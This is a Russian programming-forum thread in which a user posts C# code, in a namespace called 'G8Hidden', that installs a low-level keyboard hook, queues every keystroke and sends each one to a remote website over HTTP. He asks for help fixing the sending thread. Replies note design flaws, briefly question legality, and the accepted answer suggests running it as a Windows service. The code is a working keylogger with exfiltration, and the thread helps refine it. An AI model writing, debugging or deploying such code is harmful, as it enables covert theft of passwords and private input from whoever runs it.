С Новым годом! Форум программистов, компьютерный форум, киберфорум
C# .NET
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.57/7: Рейтинг темы: голосов - 7, средняя оценка - 4.57
16 / 16 / 8
Регистрация: 18.03.2014
Сообщений: 268
.NET 4.x

Исправить и оптимизировать код

15.09.2015, 12:53. Показов 1350. Ответов 8
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Код:
C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
 
namespace G8Hidden
{
    class Program
    {
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero;
        private static Queue<string> queue;
        private static Thread theradHelper;
 
        static void Main(string[] args)
        {
            queue = new Queue<string>();
            theradHelper = new Thread(Helper);
            theradHelper.IsBackground = false;
            theradHelper.Start();
 
            _hookID = SetHook(_proc);
            Application.Run();
            UnhookWindowsHookEx(_hookID);
        }
 
        private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
            }
        }
 
        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
 
        private static void Helper()
        {
            while (true)
                if (queue.Count > 0)
                    Console.WriteLine(((HttpWebResponse)((HttpWebRequest)WebRequest.Create("свой сайт" + queue.Dequeue())).GetResponse()).StatusCode);
        }
 
        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
                queue.Enqueue(((Keys)Marshal.ReadInt32(lParam)).ToString());
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }
 
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
 
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);
 
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
 
        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);
    }
}
Проблема такова после двух запросов поток theradHelper падает или нет?! Но могу сказать точно больше не чего не отправляется на сервер! Где я тут накосячил? Ну и собственно помогите с оптимизацией данного кода.
0
Лучшие ответы (1)
Programming
Эксперт
39485 / 9562 / 3019
Регистрация: 12.04.2006
Сообщений: 41,671
Блог
15.09.2015, 12:53
Ответы с готовыми решениями:

Подключение к модему: оптимизировать код
Вопрос, наверное, по ООП. Предполагается, что к 4 ком-портам подключены 4 модема. На форме программы имеются компоненты: 4 picturebox, 4...

Оптимизировать код
Здравствуйте. Написал такой код для вывода некоторых данных в label. Он работает нормально, но мне кажется, что его можно было бы серьезно...

как оптимизировать код?
Есть несколько dbf файлов. Из них в разные обьекты нужно получить список строк. Для этого написал класс public class connDBF { ...

8
TheGreatCornholio
 Аватар для Woldemar89
1255 / 733 / 285
Регистрация: 30.07.2015
Сообщений: 2,408
15.09.2015, 14:38
Цитата Сообщение от Hopeco Посмотреть сообщение
static void Main(string[] args)
Цитата Сообщение от Hopeco Посмотреть сообщение
using System.Windows.Forms;
Цитата Сообщение от Hopeco Посмотреть сообщение
Application.Run();
Что за адовая архитектура?
Поясни, что происходит вообще?

C#
1
2
3
4
5
6
7
8
9
10
11
12
static void Main(string[] args)
        {
            queue = new Queue<string>();
            theradHelper = new Thread(Helper);
            theradHelper.IsBackground = false;
            theradHelper.Start();
 
            _hookID = SetHook(_proc);
            Application.Run(); //тут бесконечный рекурсивный вызов чтоли?
            UnhookWindowsHookEx(_hookID);
           //может тут прога завершается? и остается висячий поток?
        }
Бред какой-то или у меня ум неизвращенный, чтобы это чудо программирования понять.

Задача то какая этого кода?
0
16 / 16 / 8
Регистрация: 18.03.2014
Сообщений: 268
15.09.2015, 14:46  [ТС]
Цитата Сообщение от Woldemar89 Посмотреть сообщение
Application.Run(); //тут бесконечный рекурсивный вызов чтоли?
Тут обработка сообщений( для хука на клавиатуру )
Цитата Сообщение от Woldemar89 Посмотреть сообщение
Задача то какая этого кода?
ловим нажатие делаем http запрос на сайт только вот если сразу отправлять
Цитата Сообщение от Hopeco Посмотреть сообщение
queue.Enqueue(((Keys)Marshal.ReadInt32(l Param)).ToString());
заместо этого то будет лагать пока не отправится кнопка поэтому я создаю очередь в которую складываются все нажатые кнопки, а в другом потоке
Цитата Сообщение от Woldemar89 Посмотреть сообщение
theradHelper
они должны по одной отсылаться
Надеюсь понятно
Цитата Сообщение от Woldemar89 Посмотреть сообщение
using System.Windows.Forms;
без этого нету
Цитата Сообщение от Woldemar89 Посмотреть сообщение
Application.Run();
этого
0
TheGreatCornholio
 Аватар для Woldemar89
1255 / 733 / 285
Регистрация: 30.07.2015
Сообщений: 2,408
15.09.2015, 14:52
Цитата Сообщение от Hopeco Посмотреть сообщение
Тут обработка сообщений( для хука на клавиатуру )
Ты уверен?
Может Application.DoEvents() - это обработка сообщений?

Цитата Сообщение от Hopeco Посмотреть сообщение
Надеюсь понятно
Нет
Извини, конечно, но дальше даже разбираться не хочу.
Пойду мозги оттирать со стены
Давненько я такого не видел, без бутылки не разберешься...
0
Master of Orion
Эксперт .NET
 Аватар для Psilon
6101 / 4957 / 905
Регистрация: 10.07.2011
Сообщений: 14,522
Записей в блоге: 5
15.09.2015, 15:32
Hopeco, ну тут много проблем, начиная от притаскивания винформ и заканчивая тем, что без STAThread всё будет сломано, даже если все остальное правильно.
0
16 / 16 / 8
Регистрация: 18.03.2014
Сообщений: 268
15.09.2015, 15:37  [ТС]
Цитата Сообщение от Woldemar89 Посмотреть сообщение
Нет
ждём нажатие клавиши -> добавляем в очередь -> в потоке theradHelper отправляем на сайт по одному из очереди
Цитата Сообщение от Woldemar89 Посмотреть сообщение
Ты уверен?
Брал код на каком-то англо язычном сайте

Добавлено через 2 минуты
Цитата Сообщение от Psilon Посмотреть сообщение
притаскивания винформ
Тут полностью согласен, но как сделать иначе не знаю. поэтому сюда и обратился
Цитата Сообщение от Psilon Посмотреть сообщение
STAThread
я так понимаю надо на поток theradHelper
0
TheGreatCornholio
 Аватар для Woldemar89
1255 / 733 / 285
Регистрация: 30.07.2015
Сообщений: 2,408
15.09.2015, 15:48
Цитата Сообщение от Hopeco Посмотреть сообщение
ждём нажатие клавиши -> добавляем в очередь -> в потоке theradHelper отправляем на сайт по одному из очереди
Цитата Сообщение от Hopeco Посмотреть сообщение
Брал код на каком-то англо язычном сайте
Сляпай лучше сам, там хоть немного будешь понимать что происходит.
Хуки забери из кода в свой и все.

Добавлено через 48 секунд
Цитата Сообщение от Hopeco Посмотреть сообщение
я так понимаю надо на поток theradHelper
В нормальном винформ приложении Program.cs открой.

Добавлено через 5 минут
Цитата Сообщение от Hopeco Посмотреть сообщение
WebRequest.Create("свой сайт" + queue.Dequeue()))
А вообще, перехваченные клавишы, на "свой сайт" отправлять законно?
0
16 / 16 / 8
Регистрация: 18.03.2014
Сообщений: 268
15.09.2015, 15:52  [ТС]
Woldemar89, как знать , как знать если серьёзно, то пишу для себя.
0
Master of Orion
Эксперт .NET
 Аватар для Psilon
6101 / 4957 / 905
Регистрация: 10.07.2011
Сообщений: 14,522
Записей в блоге: 5
15.09.2015, 16:26
Лучший ответ Сообщение было отмечено Hopeco как решение

Решение

Hopeco, ладно, скажу иначе. Чтобы нормально ключаться и выключаться достаточно создать винсервис, всё остальное сделает винда сама. Нужно только на Start вешать хук и на Stop его отключать. Для его работоспособности достаточно первых двух пунктов, логгирование и прочее если есть желание. Все делается без единой строчки кода тупо мышкой в дизайнере минуты за 3.
1
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
inter-admin
Эксперт
29715 / 6470 / 2152
Регистрация: 06.03.2009
Сообщений: 28,500
Блог
15.09.2015, 16:26
Помогаю со студенческими работами здесь

Как оптимизировать приведённый код?
Доброе время суток! У меня такой вопрос: Как можно оптимизировать подобный код? case 1: Change = 0; ...

Определитель матрицы: что исправить или оптимизировать в коде
Здравствуйте, нужна небольшая помощь по поводу исправления, оптимизации алгоритма нахождения Определителя матрицы. Попытался реализовать...

Оптимизировать код
Всем привет! Как вы считаете, как можно было бы оптимизировать этот кусок private int...

Оптимизировать код
Как оптимизировать код? Задача: Задано трехзначное число. Какая цифра в нем больше: первая или последняя? using System; ...

Оптимизировать код
Написал программу, которая считывает данные из файла(вещественные числа), записывает данные в массив, находит минимальное, среднее и...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
9
Ответ Создать тему
Новые блоги и статьи
Советы по крайней бережливости. Внимание, это ОЧЕНЬ длинный пост.
Programma_Boinc 28.12.2025
Советы по крайней бережливости. Внимание, это ОЧЕНЬ длинный пост. Налог на собак: https:/ / **********/ gallery/ V06K53e Финансовый отчет в Excel: https:/ / **********/ gallery/ bKBkQFf Пост отсюда. . .
Кто-нибудь знает, где можно бесплатно получить настольный компьютер или ноутбук? США.
Programma_Boinc 26.12.2025
Нашел на реддите интересную статью под названием Anyone know where to get a free Desktop or Laptop? Ниже её машинный перевод. После долгих разбирательств я наконец-то вернула себе. . .
Thinkpad X220 Tablet — это лучший бюджетный ноутбук для учёбы, точка.
Programma_Boinc 23.12.2025
Рецензия / Мнение/ Перевод Нашел на реддите интересную статью под названием The Thinkpad X220 Tablet is the best budget school laptop period . Ниже её машинный перевод. Thinkpad X220 Tablet —. . .
PhpStorm 2025.3: WSL Terminal всегда стартует в ~
and_y87 14.12.2025
PhpStorm 2025. 3: WSL Terminal всегда стартует в ~ (home), игнорируя директорию проекта Симптом: После обновления до PhpStorm 2025. 3 встроенный терминал WSL открывается в домашней директории. . .
Как объединить две одинаковые БД Access с разными данными
VikBal 11.12.2025
Помогите пожалуйста !! Как объединить 2 одинаковые БД Access с разными данными.
Новый ноутбук
volvo 07.12.2025
Всем привет. По скидке в "черную пятницу" взял себе новый ноутбук Lenovo ThinkBook 16 G7 на Амазоне: Ryzen 5 7533HS 64 Gb DDR5 1Tb NVMe 16" Full HD Display Win11 Pro
Музыка, написанная Искусственным Интеллектом
volvo 04.12.2025
Всем привет. Некоторое время назад меня заинтересовало, что уже умеет ИИ в плане написания музыки для песен, и, собственно, исполнения этих самых песен. Стихов у нас много, уже вышли 4 книги, еще 3. . .
От async/await к виртуальным потокам в Python
IndentationError 23.11.2025
Армин Ронахер поставил под сомнение async/ await. Создатель Flask заявляет: цветные функции - провал, виртуальные потоки - решение. Не threading-динозавры, а новое поколение лёгких потоков. Откат?. . .
Поиск "дружественных имён" СОМ портов
Argus19 22.11.2025
Поиск "дружественных имён" СОМ портов На странице: https:/ / norseev. ru/ 2018/ 01/ 04/ comportlist_windows/ нашёл схожую тему. Там приведён код на С++, который показывает только имена СОМ портов, типа,. . .
Сколько Государство потратило денег на меня, обеспечивая инсулином.
Programma_Boinc 20.11.2025
Сколько Государство потратило денег на меня, обеспечивая инсулином. Вот решила сделать интересный приблизительный подсчет, сколько государство потратило на меня денег на покупку инсулинов. . . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru